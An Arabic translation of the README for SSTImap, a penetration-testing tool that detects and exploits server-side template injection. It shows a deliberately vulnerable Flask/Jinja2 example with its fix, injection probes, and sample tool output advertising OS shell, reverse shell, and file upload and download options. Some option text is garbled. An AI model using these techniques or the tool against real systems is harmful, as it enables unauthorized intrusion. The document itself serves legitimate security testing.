
أداة كشف تلقائي لـ SSTI بواجهة تفاعلية
يعتمد هذا المشروع على Tplmap.
SSTImap هو برنامج لاختبار الاختراق يمكنه فحص المواقع الإلكترونية بحثًا عن ثغرات حقن الأكواد (Code Injection) وحقن القوالب من جانب الخادم (Server-Side Template Injection) واستغلالها، مما يتيح الوصول إلى نظام التشغيل نفسه.
تم تطوير هذه الأداة لتُستخدم كأداة تفاعلية لاختبار الاختراق لاكتشاف واستغلال ثغرات SSTI، مما يتيح استغلالًا أكثر تقدمًا. يمكن العثور على المزيد من الحمولات (payloads) لـ SSTImap هنا.
جاءت الحمولات والتقنيات من:
هذه الأداة قادرة على استغلال بعض حالات الهروب من سياق الأكواد وسيناريوهات الحقن الأعمى (blind injection). كما أنها تدعم حقن الأكواد المشابهة لـ eval() في Java وJavaScript وPHP وPython وRuby ومحركات القوالب العامة غير المعزولة (unsandboxed).
على الرغم من أن هذا البرنامج مبني على كود Tplmap، إلا أنه لا يتم توفير توافق رجعي (backwards compatibility).
-i) الذي يتيح استغلالًا واكتشافًا أسهل--genericEval_generic-x) أو أمر واحد (-X)-h للمساعدةهذا مثال على موقع ويب بسيط مكتوب بلغة Python باستخدام إطار عمل [Flask][6] ومحرك القوالب [Jinja2][7]. يقوم بدمج المتغير name الذي يوفره المستخدم بطريقة غير آمنة، حيث يتم ربطه بسلسلة القالب قبل العرض.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
لا تؤدي هذه الطريقة في استخدام القوالب إلى إنشاء ثغرة XSS فحسب، بل تسمح أيضًا للمهاجم بحقن كود القالب، الذي سيتم تنفيذه على الخادم، مما يؤدي إلى ثغرة SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
يجب إدخال المدخلات التي يوفرها المستخدم بطريقة آمنة من خلال سياق العرض (rendering context):
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap في الوضع المحدد مسبقًا مشابه جدًا لـ Tplmap. إنه قادر على اكتشاف واستغلال ثغرات SSTI في العديد من القوالب المختلفة.
بعد الاستغلال، يمكن لـ SSTImap توفير الوصول إلى تقييم الأكواد، وتنفيذ أوامر نظام التشغيل، والتلاعب بنظام الملفات.
للفحص عبر URL، يمكنك استخدام الوسيط -u:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
استخدم الخيار --os-shell لتشغيل محطة طرفية زائفة (pseudo-terminal) على الهدف.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3